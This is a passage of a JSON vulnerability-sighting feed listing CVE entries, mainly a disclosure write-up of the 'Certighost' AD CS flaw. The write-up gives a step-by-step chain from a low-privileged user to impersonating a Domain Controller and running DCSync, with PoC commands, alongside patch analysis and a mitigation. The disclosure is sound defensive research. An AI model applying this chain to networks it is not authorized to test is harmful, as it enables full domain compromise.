"86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54707", "type": "published-proof-of-concept", "source": "https://github.com/onionshare/onionshare/security/advisories/GHSA-v833-3823-cmhp", "content": "", "creation_timestamp": "2026-07-31T18:35:34.654200Z"}, {"uuid": "2f1c4fa1-978a-4817-9d1f-2d1ba35e7e0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54295", "type": "published-proof-of-concept", "source": "https://github.com/nltk/nltk/security/advisories/GHSA-fg7f-2386-8897", "content": "", "creation_timestamp": "2026-07-31T18:35:23.400359Z"}, {"uuid": "a3925066-0e21-4356-bd96-3d5f6d1ab64f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54294", "type": "published-proof-of-concept", "source": "https://github.com/nltk/nltk/security/advisories/GHSA-6hm5-jgcp-p838", "content": "", "creation_timestamp": "2026-07-31T18:35:26.614062Z"}, {"uuid": "4e6756a4-8a5a-4cda-995e-ed3935707b23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54292", "type": "published-proof-of-concept", "source": "https://github.com/nltk/nltk/security/advisories/GHSA-xh95-f55m-82fw", "content": "", "creation_timestamp": "2026-07-31T18:35:29.798954Z"}, {"uuid": "a8d0b1e1-83b1-4e1e-9df2-1d628b68712f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54706", "type": "published-proof-of-concept", "source": "https://github.com/onionshare/onionshare/security/advisories/GHSA-22p9-r2f5-22mf", "content": "", "creation_timestamp": "2026-07-31T18:35:32.463704Z"}, {"uuid": "c7c69958-544a-4f48-be5b-6f2248f16a4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54725", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mrxowcc2lk2h", "content": "CRITICAL SSRF (CVE-2026-54725) in bank-vaults vault-secrets-webhook lets attackers steal ServiceAccount JWTs. Upgrade to 1.23.1 ASAP. \ud83d\udd12 https://radar.offseq.com/threat/cve-2026-54725-cwe-918-server-side-request-forgery-ssrf-in-bank-vaults-vault-secrets-webhook-ec0efb4a3e2ca6ff #OffSeq #Kubernetes...", "creation_timestamp": "2026-07-31T19:30:28.573537Z"}, {"uuid": "31351630-64f0-48e2-a8f3-c98df169fba8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54272", "type": "published-proof-of-concept", "source": "https://github.com/beaugunderson/ip-address/security/advisories/GHSA-22jq-vg5j-6vgg", "content": "", "creation_timestamp": "2026-08-03T20:35:09.543269Z"}, {"uuid": "d9432702-ae62-428b-a870-d18cbb7f0cba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54756", "type": "published-proof-of-concept", "source": "https://github.com/xdan/jodit/security/advisories/GHSA-5957-5c94-3v7w", "content": "", "creation_timestamp": "2026-07-31T20:35:18.067547Z"}, {"uuid": "7ebeaa32-e897-4909-8159-099c1c0f8b12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "Telegram/CaZ2R0Efl1eBRVqO-sOZ66dFvtq0H_ENlFRwe45W-O_e0iQ", "content": "", "creation_timestamp": "2026-07-31T22:00:02.894596Z"}, {"uuid": "b41647ad-4bd6-4a30-bec2-2f3cb744a7da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://gist.github.com/johnnadamm/cd502993a32349f8aadf85e7c02bdb2c", "content": "# Certighost (CVE-2026-54121)\n\n**Authors:** [@h0j3n](https://x.com/h0j3n), [@aniqfakhrul](https://x.com/aniqfakhrul)  \n**Date:** July 24, 2026\n\n---\n\nCertighost is an Active Directory Certificate Services (AD CS) vulnerability that allowed a low-privileged domain user to impersonate a Domain Controller and achieve domain compromise in the tested AD CS configuration. The issue was addressed in the July 2026 security updates.\n\nThe vulnerable path is an AD CS enrollment fallback known as a *chase* during directory-object resolution. By supplying request attributes such as `cdc`, an attacker could cause the Certification Authority (CA) to ask an attacker-controlled host for identity data belonging to a Domain Controller. The CA then used that data while issuing a certificate.\n\n\n  \n\n\nThis post explains how the chase path works, why it could be abused, and what changed in the update.\n\n## Introduction to Active Directory Certificate Services\n\nIf you already work with AD CS, feel free to skip ahead. For the rest of the post, it is enough to think of a certificate as a signed proof of identity. Like a Kerberos ticket, it can be presented during authentication to show who a user or computer is supposed to be.\n\nAD CS is Microsoft's public key infrastructure implementation. It integrates with Active Directory and issues X.509 certificates for purposes such as encryption, signing, secure communications, and authentication.\n\nA certificate binds a subject to a public key. The private key stays with the requester, while the certificate contains the public key and identity information signed by a Certification Authority. A service that trusts the CA can use that signature to trust the identity in the certificate.\n\nCertificate templates control the enrollment process. A template decides who may request a certificate, what it can be used for, what identity information must be present, and whether the CA may accept information supplied in the request.\n\nThe relevant piece here is certificate-based client authentication. A client requests a certificate from an Enterprise CA and later presents it to the Key Distribution Center (KDC) to obtain Kerberos credentials.\n\n### PKINIT and certificate mapping\n\nTo make this concrete, consider a small lab domain named `ABC.LOCAL` with AD CS installed. A low-privileged account can request a certificate from a template it is permitted to enroll in, then use that certificate to authenticate to the KDC.\n\n![Requesting and authenticating with a certificate using Certipy](https://gist.github.com/user-attachments/assets/c7d6f12d-d1bc-451c-b861-eb2863060173)\n\n\nRequesting and authenticating with a certificate using Certipy\n\nDuring certificate authentication, the KDC maps the identity in the certificate to an Active Directory account and issues a Kerberos TGT when the mapping succeeds.\n\n## Background: the chase fallback\n\nBefore getting to the bug, we need to look at one enrollment behavior. In some cross-domain-controller enrollment scenarios, the CA may perform a second directory lookup, referred to here as a *chase*.\n\nTwo request attributes influence that lookup:\n\n- `cdc` (Client DC), which identifies the host the CA should contact\n- `rmd` (Remote Domain), which identifies the principal the CA should look up\n\nWhen both attributes are present, the CA contacts the host named by `cdc` over SMB and LDAP, then searches for the principal named by `rmd`. The request-processing path reads these values and passes them into the remote directory lookup.\n\n\n\n  \n\n\n\nWireshark capture showing the CA following the requester-controlled cdc target to the attacker host over SMB/LSA and LDAP.\n\n## The vulnerability: Certighost\n\nThe CA accepted the requester-supplied chase target without first proving that it was the Domain Controller it claimed to be. That made it possible for an attacker to run LDAP and LSA services on a host they controlled, direct the CA to that host, and return directory data for a chosen target principal.\n\nIn the vulnerable flow, the attacker supplies `cdc` and `rmd` in a certificate request. The CA opens SMB and LDAP connections to the address in `cdc`, performs the chase lookup for the principal in `rmd`, and uses the returned identity data while building the certificate.\n\nThe issue is not just the outbound connection. The CA used the response from that host as directory data for the request. In the tested chain, the attacker could return a Domain Controller's `objectSid` and `dNSHostName`. Those values influenced the certificate identity material issued by the CA, including the strong-mapping SID and DNS identity fields used during authentication.\n\nA machine account created through the default `ms-DS-MachineAccountQuota` setting is a valid domain principal. This allowed the attacker-controlled chase endpoint to satisfy the authentication checks needed for the CA to continue, even though it was not the Domain Controller being impersonated.\n\n\n\n  \n\n\n\nVulnerable chase flow: the CA follows requester-controlled cdc, accepts attacker-supplied directory data, and issues certificate identity material for the target DC.\n\nThe diagram follows the three parties involved in the vulnerable chase: the attacker prepares a valid machine account and rogue services, the CA follows the requester-controlled `cdc` target and trusts the returned identity data, and the Domain Controller is then impersonated through certificate-based authentication and replication access.\n\n## Proof of concept walkthrough\n\n### Lab environment\n\nOur test environment contained:\n\n- An AD forest at Windows Server 2016 or later functional level\n- Domain Controller: `WDC01.abc.local` (`192.168.8.128`)\n- Enterprise CA: `abc-WCA01-CA` on `WCA01.abc.local` (`192.168.8.129`)\n- The default `ms-DS-MachineAccountQuota` value of `10`\n- The default `Machine` certificate template with its default access control list\n- An attacker host at `192.168.8.134`\n- One low-privileged Domain Users account: `normaluser`\n\n### Step 1: Install dependencies\n\nThe proof of concept is a self-contained Python script. It requires impacket, cryptography, pyasn1, asn1crypto, and dnspython.\n\n```bash\nsudo pip install --break-system-packages git+https://github.com/fortra/impacket.git cryptography pyasn1 asn1crypto pycryptodome dnspython\n```\n\n### Step 2: Run the proof of concept and observe the result\n\n```bash\nsudo python3 certighost.py \\\n  -d abc.local \\\n  -u normaluser -p '[PASSWORD]' \\\n  --dc-ip 192.168.8.128\n```\n\nThe script discovers the CA and a target Domain Controller, creates a machine account, starts the local LDAP and LSA services, submits the crafted enrollment request, and produces the terminal output shown below.\n\n![Terminal output of a successful Certighost run](https://gist.github.com/user-attachments/assets/7ad0a7a7-edf7-4b50-8c69-7e0c91ed2ae4)\n\n\nTerminal output of a successful Certighost run\n\nAt this point, the attacker has a CA-signed certificate that authenticates as the target Domain Controller in the tested configuration and a Kerberos credential cache for that account.\n\n### Step 3: DCSync\n\nA Domain Controller account has directory replication rights. With the resulting Kerberos credential, the attacker can request account secrets, including the `krbtgt` secret.\n\n![Successful DCSync output showing the `krbtgt` account](https://gist.github.com/user-attachments/assets/64e7a484-87d4-46fc-a3d7-c2b600ffe9cd)\n\n\nSuccessful DCSync output showing the `krbtgt` account\n\n### What the proof of concept does\n\nThe script follows the full chain in one process:\n\n1. It connects to LDAP with the supplied low-privileged account and discovers the CA, Domain Controller, domain SID, and domain GUID.\n2. It creates a machine account through `ms-DS-MachineAccountQuota` and registers the required service principal names.\n3. It starts local LSA and LDAP services. The services relay the CA's authentication challenge to the real Domain Controller so the chase endpoint is accepted as a valid domain principal.\n4. It submits a certificate request containing the `cdc` and `rmd` attributes.\n5. It receives a certificate carrying identity material for the target Domain Controller, including SID and DNS-name data used by the authentication flow.\n6. It uses the certificate to authenticate as the target Domain Controller and writes the resulting credential cache.\n\n## Post-update behavior\n\nThe July 2026 update changes the CA-side request path. Before continuing a chase, the CA validates the supplied `cdc` target against Active Directory.\n\nThe update adds a validation step to the principal-loading path. When the validation gate is active, the CA checks that the hostname supplied in `cdc` resolves to a legitimate Domain Controller computer object in the real directory before it continues the chase. A validation failure takes the request down an error path rather than the chase continuation.\n\n| Component | Before the update | After the update |\n|---|---|---|\n| Chase target | The CA followed the requester-supplied target | The CA validates the supplied `cdc` hostname against the real directory |\n| Principal lookup | The remote response was treated as authoritative | The target must resolve to a legitimate Domain Controller computer object |\n| Certificate identity data | Returned SID and hostname could be attacker-controlled | Resolution proceeds only after target validation and a follow-on SID comparison |\n| Certificate request result | A forged chase response could lead to issuance | A failed validation or SID comparison takes an error path |\n\nThe fix addresses the trust boundary that made Certighost possible: a chase endpoint is no longer accepted merely because it responds as a domain principal. The July binary contains a gate around the new validation, so the protection applies when that gate and its validation path are active.\n\nThe diagram below summarizes the July update path. It shows which checks must pass before the CA continues the chase, and which checks stop the request before that point.\n\n\n\n\nJuly update flow: the CA validates the chase target against AD before allowing the referral chase to continue.\n\nRead the diagram from top to bottom: the request enters the validation path, each check answers one yes/no question, and the request must pass every check before the chase continues. A failed check stops the request before that point. The specific conditions behind each check - length and character checks, the Domain Controller computer-object requirement, and the resolved-SID comparison - are described in the paragraph below.\n\nThe validation function rejects overlong and IP-literal targets, blocks the filtered-character set before constructing the LDAP query, and requires a unique computer object whose `userAccountControl` includes `SERVER_TRUST_ACCOUNT` (`8192`). If the first directory search has no match, the code retries with an extracted base DN. The loader only reaches the referral continuation after a successful validation return; it also contains a later resolved-SID comparison. These control-flow observations were checked against the hash-matched July DLL.\n\n\nDetailed patched flow:\n\n```text\n1. User submits cert enrollment request with cdc=\"attacker.example.com\"\n2. _LoadPrincipalObject() calls _GetDSObject() -> fails (referral needed)\n3. polGetRequestAttribute(\"cdc\", &bstrString) -> reads attacker's hostname\n4. NEW: Feature_3185813818 check (servicing flag)\n   - DISABLED -> old behavior (backward compat)\n   - ENABLED -> _ValidateChaseTargetIsDC(bstrString)\n      - Reject if empty\n      - Reject if > 260 chars\n      - Reject if IPv4 address (RtlIpv4StringToAddressW)\n      - Reject if IPv6 address (RtlIpv6StringToAddressW)\n      - Reject if contains LDAP injection chars: ( ) * [ \\ ]\n      - LDAP search: (&(objectCategory=computer)(dNSHostName=)\n                       (userAccountControl:1.2.840.113556.1.4.803:=8192))\n         - 8192 = SERVER_TRUST_ACCOUNT = must be a real DC\n         - If 0 results -> try with extracted base DN (_ExtractBaseDNForDCSearch)\n         - If still 0 -> REJECT\n5. Only if validation passes -> _GetDSObject(a2, 1, bstrString) -> connect to verified DC\n6. NEW: _GetObjectSID() -> verify resolved object's SID matches requester's SID\n   - If SID mismatch -> REJECT (prevents object substitution)\n```\n\n## Code analysis\n\nThe proof-of-concept shows the impact, but the code path explains the root cause. The relevant logic sits in `certpdef.dll`, the AD CS Certificate Policy Enterprise module loaded by `certsrv.exe`. The vulnerable behavior is in the request-principal loading path, where request-supplied attributes are used while resolving the requester identity.\n\nWe compare the June and July builds because June is the vulnerable baseline and July is the Microsoft patched build. That makes the July-only functions useful markers for the fix.\n\nThe functions that matter for the request path are:\n\n| Build | Function | Why it matters |\n|---|---|---|\n| June / vulnerable | `CRequestInstance::_LoadPrincipalObject` | Vulnerable integration point; reads the requester-controlled chase target. |\n| June / vulnerable | `CRequestInstance::_GetDSObject` | Directory lookup/chase sink reached with the untrusted `cdc` host. |\n| June / vulnerable | `CRequestInstance::_GetObjectSID` | Original SID retrieval path before the July identity-verification changes. |\n| July / patched | `CRequestInstance::_ExtractBaseDNForDCSearch` | Helper used by the DC verification LDAP search. |\n| July / patched | `CRequestInstance::_ValidateChaseTargetIsDC` | Validates that `cdc` resolves to a real Domain Controller. |\n| July / patched | `CRequestInstance::_LoadPrincipalObject` | Patched integration point; calls validation before the chase. |\n| July / patched | `CRequestInstance::_GetDSObject` | Same logical sink, now reached only after validation when the protected path is active. |\n| July / patched | `CRequestInstance::_GetObjectSID` | Updated identity/SID verification path after object resolution. |\n| July / patched | `Feature_3185813818` | Servicing feature gate around the updated behavior. |\n\nThe July-only pieces to look for are `CRequestInstance::_ValidateChaseTargetIsDC`, `CRequestInstance::_ExtractBaseDNForDCSearch`, and the `Feature_3185813818` gate.\n\n### June vulnerable build flow\n\nIn the June vulnerable build, `CRequestInstance::_LoadPrincipalObject` reads the `cdc` request attribute and passes it directly into `_GetDSObject` with chase enabled.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n//                                           ^ chase enabled\n//                                              ^ requester-controlled host\n```\n\nThe request-to-directory path is:\n\n```text\ncertificate request attribute -> cdc BSTR -> _GetDSObject(..., chase = 1, cdc)\n```\n\nIn other words, requester-controlled routing data reached a directory-authority decision before the CA had checked that the target was a Domain Controller.\n\n### July patched build flow\n\nThe July patched build wraps the same chase with a feature-gated validation call and then performs an additional SID verification path.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nif (Feature_3185813818::IsEnabled()) {\n    CRequestInstance::_ValidateChaseTargetIsDC(this, bstrString);\n\n    CRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n\n    CRequestInstance::_GetObjectSID(this, &resolved_sid, mode);\n}\n```\n\nThere is still an legacy behavior branch visible in the patched control flow:\n\n```c\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n```\n\nThat branch is reached when the servicing feature gate is not enabled. For lab validation, the feature state matters because the protected path is conditional.\n\n## Code analysis: `_ValidateChaseTargetIsDC`\n\n`CRequestInstance::_ValidateChaseTargetIsDC` is the main new guard. It takes the requester-supplied `cdc` value and checks that it is a Domain Controller hostname before `_GetDSObject` follows the chase.\n\nThe validation has two layers.\n\nFirst, it rejects values that are not safe DC hostnames:\n\n```c\n// 1. Strip leading backslashes, then reject empty input\nwhile (*target == L'\\\\')\n    target++;\nif (*target == L'\\0')\n    reject;\n\n// 2. Reject oversized hostnames\nif (wcslen(target) > 0x104)\n    reject;\n\n// 3. Reject IPv4 and IPv6 literals\nif (RtlIpv4StringToAddressW(target, TRUE, &end, &ipv4) == STATUS_SUCCESS && *end == 0)\n    reject;\n\nif (RtlIpv6StringToAddressW(target, &end, &ipv6) == STATUS_SUCCESS && *end == 0)\n    reject;\n\n// 4. Reject LDAP filter metacharacters\nfor (p = target; *p; p++) {\n    if ((*p - 0x28) <= 2 || (*p - 0x5b) <= 2)\n        reject;\n}\n```\n\nThe IP checks block raw-address chase targets such as `192.0.2.10` or `::1`. The metacharacter check keeps the hostname inside the LDAP filter slot.\n\nAfter the string checks, the function asks Active Directory whether the target is a DC:\n\n```text\n(&(objectCategory=computer)(dNSHostName=%s)(userAccountControl:1.2.840.113556.1.4.803:=8192))\n```\n\n`8192` is `SERVER_TRUST_ACCOUNT`, the `userAccountControl` bit used by Domain Controller computer accounts. The updated code searches for exactly one computer object with that bit set and a `dNSHostName` matching the supplied `cdc` value.\n\nThe search path is roughly:\n\n```c\nldap_search_ext_sW(ldap, NULL, LDAP_SCOPE_SUBTREE,\n                   filter, NULL, TRUE, NULL, NULL,\n                   &timeout, 1, &result);\n\ncount = ldap_count_entries(ldap, result);\n\nif (count == 0) {\n    base_dn = CRequestInstance::_ExtractBaseDNForDCSearch(this);\n    ldap_search_ext_sW(ldap, base_dn, LDAP_SCOPE_SUBTREE,\n                       filter, NULL, TRUE, NULL, NULL,\n                       &timeout, 1, &result);\n    count = ldap_count_entries(ldap, result);\n}\n\nif (count != 1)\n    reject;\n```\n\nThe missing check was simple but critical: the chase target must be an AD-registered Domain Controller, not just a host string from the certificate request.\n\n## Why the update fixes the bug\n\nBefore the update, the vulnerable chain was:\n\n```text\nattacker request -> cdc=\"attacker host\" -> CA LDAP chase -> attacker response -> issued identity\n```\n\nAfter the update, the intended chain is:\n\n```text\nattacker request -> cdc=\"some host\"\n        |\n        v\nvalidate hostname shape\n        |\n        v\nquery AD for dNSHostName= AND SERVER_TRUST_ACCOUNT\n        |\n        v\nrequire exactly one real DC object\n        |\n        v\nonly then call _GetDSObject(..., chase = 1, cdc)\n        |\n        v\nverify resolved SID / identity\n```\n\nThe update changes two things:\n\n1. **Target authenticity:** the chase target must be an AD-registered Domain Controller, not an arbitrary requester-controlled host.\n2. **Object authenticity:** the object resolved through the chase must match the expected identity, preventing substitution even if the lookup path is unusual.\n\n## Functions of interest\n\nFor security researchers tracing the request path, start with these functions:\n\n```text\nJune vulnerable build\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n\nJuly patched build\n  Feature_3185813818\n  CRequestInstance::_ExtractBaseDNForDCSearch\n  CRequestInstance::_ValidateChaseTargetIsDC\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n```\n\nGood code references for the writeup are:\n\n1. June `_LoadPrincipalObject` showing `cdc` flowing into `_GetDSObject`.\n2. July `_LoadPrincipalObject` showing the call to `_ValidateChaseTargetIsDC` before `_GetDSObject`.\n3. July `_ValidateChaseTargetIsDC` showing the IP rejection and LDAP filter construction.\n4. July `_ValidateChaseTargetIsDC` showing the `userAccountControl:1.2.840.113556.1.4.803:=8192` DC query.\n5. July `_GetObjectSID` or its caller site showing the added SID verification path.\n\n## Hot fix without the update: disable the chase fallback\n\nIf the July update cannot be installed immediately, the vulnerable code path can be switched off completely with a policy flag, because the `cdc` chase is an optional fallback feature, not code that runs on every request:\n\n```powershell\ncertutil -setreg policy\\EditFlags -EDITF_ENABLECHASECLIENTDC\nRestart-Service CertSvc -Force\n```\n\nThis is a mitigation, not a patch. If `EDITF_ENABLECHASECLIENTDC` is re-enabled on an unpatched CA by an administrator, image, or group policy, the vulnerability is exploitable again.\n\nNote: *This hot fix was validated only in a controlled lab environment, not on a production CA. Before applying it in production, test it on a staging CA that mirrors your environment and confirm that no legitimate enrollment relies on the chase fallback those requests will fail once the flag is cleared. The July update remains the recommended remediation.*\n\n## Timeline\n\n- **May 14, 2026:** Vulnerability reported to the Microsoft Security Response Center\n- **May 14, 2026:** Case assigned\n- **May 22, 2026:** Case investigated and confirmed\n- **July 14, 2026:** Patch released by Microsoft as CVE-2026-54121\n- **July 24, 2026:** Public disclosure\n\n## References\n\n- [certighost.py PoC script](https://github.com/aniqfakhrul/CVE-2026-54121)\n- [Certipy AD CS toolkit](https://github.com/ly4k/Certipy)\n- [Microsoft Security Update Guide: CVE-2026-54121](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121)\n- [MS-WCCE: Windows Client Certificate Enrollment Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/)\n\n## Acknowledgments\n\nThe authors would like to thank the Microsoft Security Response Center for the acknowledgement.\n", "creation_timestamp": "2026-08-02T10:59:00.411410Z"}, {"uuid": "c11e4019-9c0e-481b-9908-346202e8a62f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "Telegram/8MACsHHBjvH-w2bDE0n4lckqBSM7-2MqijGfC_zfnUjzr_w", "content": "", "creation_timestamp": "2026-08-03T22:00:04.828004Z"}, {"uuid": "b25b05a0-a45a-498e-b8ae-bb0ffa695a02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54787", "type": "seen", "source": "https://gist.github.com/alon710/f7703eb7ff99ed9d3ada7f401de565eb", "content": "# CVE-2026-54787: CVE-2026-54787: Insufficient Timestamp Validation in sigstore-go Key Verification Path\n\n> **CVSS Score:** 3.1\n> **Published:** 2026-07-31\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54787\n\n## Summary\nA security vulnerability in sigstore-go prior to version 1.2.1 allowed the use of expired or retired self-managed long-lived public keys wrapped in an ExpiringKey configuration to successfully sign code or artifacts. Because the verification pipeline verified the cryptographic signatures and RFC 3161 timestamps but failed to perform a temporal boundary check on the public key's validity window, verifiers running affected versions would mistakenly accept signatures produced outside of the key's designated operational lifetime.\n\n## TL;DR\nPrior to version 1.2.1, sigstore-go failed to validate signature timestamps against the validity window of self-managed long-lived public keys wrapped in an ExpiringKey configuration. This allowed an attacker with expired or rotated key material to generate accepted signed bundles, effectively bypassing key rotation policies and breaking cryptographic trust guarantees.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-324\n- **Attack Vector**: Network\n- **CVSS**: 3.1 (Low)\n- **EPSS Score**: Not Available\n- **Impact**: Partial Integrity Compromise\n- **Exploit Status**: PoC (Proof-of-Concept) inside official repository\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- sigstore-go\n- **sigstore-go**: < 1.2.1 (Fixed in: `1.2.1`)\n\n## Mitigation\n\n- Upgrade sigstore-go dependency to version 1.2.1 or higher.\n- Ensure verification policies explicitly require at least one verified signed timestamp using verify.WithSignedTimestamps(1) or equivalent.\n- Avoid utilizing verify.WithNoObserverTimestamps() when validating key-signed bundles.\n\n**Remediation Steps:**\n1. Open your project's terminal and execute the update command: go get github.com/sigstore/sigstore-go@v1.2.1\n2. Run go mod tidy to update the go.mod and go.sum configuration files.\n3. Review initialization parameters for verify.NewVerifier and verify.NewPolicy to confirm that timestamp checking is not bypassed.\n4. Recompile and redeploy the verification binaries to your target systems.\n\n## References\n\n- [GHSA-wqqc-jjcq-vfxm Advisory](https://github.com/sigstore/sigstore-go/security/advisories/GHSA-wqqc-jjcq-vfxm)\n- [sigstore-go Pull Request 642](https://github.com/sigstore/sigstore-go/pull/642)\n- [Fix Commit 4594ab4c779d08be1f4419803a8249188f35ed5f](https://github.com/sigstore/sigstore-go/commit/4594ab4c779d08be1f4419803a8249188f35ed5f)\n- [sigstore-go v1.2.1 Release Notes](https://github.com/sigstore/sigstore-go/releases/tag/v1.2.1)\n- [CVE-2026-54787 on CVE.org](https://www.cve.org/CVERecord?id=CVE-2026-54787)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54787) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-31T22:32:31.622301Z"}, {"uuid": "fc24aaf3-f434-48c1-b92c-62bc417b7249", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54088", "type": "seen", "source": "https://t.me/cyberok_news/232", "content": "\u26d4\ufe0f \u0423\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0432 File Browser\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54088 \u0432 File Browser \u2014 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u0430\u043c\u0438 \u0447\u0435\u0440\u0435\u0437 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441. \u0411\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0431\u044b\u043b \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u0430 \u0432 NVD 25.06.2026. \n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u041e\u0421 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 (Hook Authentication).\n\n\ud83d\udcca \u041c\u0430\u0441\u0448\u0442\u0430\u0431\n\u0421\u041a\u0418\u041f\u0410 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 ~5900 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0445\u043e\u0441\u0442\u043e\u0432 \u0441 File Browser, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0438\u0437\u0432\u043d\u0435 \u0432 \u0420\u0443\u043d\u0435\u0442\u0435. \u0418\u0437 \u043d\u0438\u0445 ~94.9% \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445. \u041e\u0434\u043d\u0430\u043a\u043e \u0434\u043b\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0432\u043b\u0438\u044f\u0442\u044c \u043d\u0430 \u0438\u0442\u043e\u0433\u043e\u0432\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0445 \u0445\u043e\u0441\u0442\u043e\u0432. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0421\u041a\u0418\u041f\u0410 PentOps \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e 